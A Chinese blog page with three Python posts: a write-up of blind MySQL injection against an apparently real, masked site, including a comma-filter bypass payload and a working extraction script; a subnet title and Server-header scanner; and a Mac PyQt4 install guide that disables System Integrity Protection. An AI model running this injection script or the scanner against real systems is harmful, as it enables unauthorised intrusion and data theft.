标签 python 下的文章

记一次简单Mysql注入(布尔型过滤逗号,附python脚本)


#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings


[Python小工具]简单的C段探测Title+Server


以前写的,一直丢在硬盘没用...以后有空再优化,先挖个坑给自己。

bug很多,以后有空统一优化,有问题私聊我。

用法 python xx.py --url xx.xx.x.x

效果图如下...

呵呵呵.png

#-*- coding:utf-8 -*-
import re
import requests
import sys
#隐蔽https请求报错
requests.packages.urllib3.disable_warnings()

def c(ip):
    '''
    生成c段以及请求c段
    '''
    reg = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.'
    a = re.findall(reg,ip) 
    
    ip_list = []
    #生成c段ip
    for i in range(1,256):
        ip_list.append(a[0]+repr(i))
    
    headers = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36'
    }
    
    for i in ip_list:
        try:
            response = requests.get('http://'+i,verify=False,headers=headers,timeout=5)
            titles(i,response)
        except Exception,e:
            print ' 【IP】:http://'+i+'     请求失败'
def titles(i,response):
    '''
    处理输出信息
    '''
    reg = r'<title>(.*?)</title>'
    title = re.findall(reg,response.content.lower())
    if(response.headers['server'] != ''):
        server = response.headers['server']
    else:
        server = 'Null'
    print ' 【IP】:http://'+i,
    if(len(title) != 0):
        print '    Server:'+server,
        print '  Title:',
        
        try:
            print title[0].decode('utf-8')
        except Exception,e:
            print title[0].decode('gbk')
    else:
        print '    Server:'+server




if(len(sys.argv) < 3):
    sys.exit('参数有误,正确格式为:scan.py --url xx.xx.xx.xx')
else:
    ip = sys.argv[2]
reg = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_get = re.findall(reg,ip)
if(len(ip_get) == 0):
    sys.exit('IP有误,正确格式为:scan.py --url xx.xx.xx.xx')
else:
    c(ip_get[0])

Mac下安装PyQT4


前言:折腾了挺久了,从天亮到现在,中间的曲折我就不发出来了。

先下载sip和pyqt

http://120.52.72.58/netix.dl.sourceforge.net/c3pr90ntcsf0/project/pyqt/PyQt4/PyQt-4.11.4/PyQt-x11-gpl-4.11.4.tar.gz

http://120.52.73.48/jaist.dl.sourceforge.net/project/pyqt/sip/sip-4.18/sip-4.18.tar.gz

解压之后,编译sip

cd进入解压后的sip目录

然后执行以下命令

  • python configure.py
  • make
  • sudo make install

安装sip的时候碰到一个很恶心的事....

cp -f sip /System/Library/Frameworks/Python.framework/Versions/2.7/bin/sip
cp: /System/Library/Frameworks/Python.framework/Versions/2.7/bin/sip: Operation not permitted
make[x]: *** [install] Error 1
make: *** [install] Error 2

提示没有权限,切换到root的时候也提示这个,后面百度了一下。

原因:经历了XCode编译器代码被注入的事件后,这次 Mac OS X El Capitan系统的升级,启用了更高的安全性保护机制:系统完整性保护System Integrity Protection (SIP)。简单来讲就是更加强制性的保护系统相关的文件夹。开发者不能直接操作相关的文件内容。

解决方案:

其实解决方案就已经很简单了,既然是系统中有 SIP 的问题,那么我们把它关闭就好了:

1.重启系统
2.按住 Command + R 进入 Recoverary 模式
3.点击 实用工具 > 终端
4.输入 csrutil disable
5.重启系统

之后编译完成
12131.jpg

开始安装pyqt

  • cd Desktop/PyQt-x11-gpl-4.11.4/
  • python configure.py

Error: Use the --qmake argument to explicitly specify a working Qt qmake.

提示我们没有安装QT。

在这里下载qt4:https://mirrors.tuna.tsinghua.edu.cn/qt/official_releases/qt/4.8/4.8.6/qt-opensource-mac-4.8.6-1.dmg

直接图形界面安装....

安装成功后继续上面的命令

  • python configure.py
  • make
  • sudo make install

经过漫长的等待后....

localhost:PyQt-x11-gpl-4.11.4 Mosuan$ cd examples/

localhost:examples Mosuan$ ls

README dbus designer draganddrop ipc mainwindows painting richtext threads webkit xmlpatterns

activeqt declarative desktop effects itemviews network phonon script tools widgets

animation demos dialogs graphicsview layouts opengl pyuic sql tutorials xml

localhost:examples Mosuan$ cd demos/
localhost:demos Mosuan$ cd qtdemo/
localhost:qtdemo Mosuan$ ls

colors.py demotextitem.py guidecircle.py images menucontent.py qtdemo.qrc score.py

demoitem.py dockitem.py guideline.py itemcircleanimation.py menumanager.py qtdemo_rc2.py textbutton.py

demoitemanimation.py examplecontent.py headingitem.py letteritem.py qmlShell.qml qtdemo_rc3.py xml

demoscene.py guide.py imageitem.py mainwindow.py qtdemo.py scanitem.py

localhost:qtdemo Mosuan$ python qtdemo.py

如果弹出个图形界面说明就是安装成功。
来张大牛写的python菜刀图形界面版特写

最后来张.png
祝你们好运。

#2016.04.16@Mosuan
#934817794@qq.com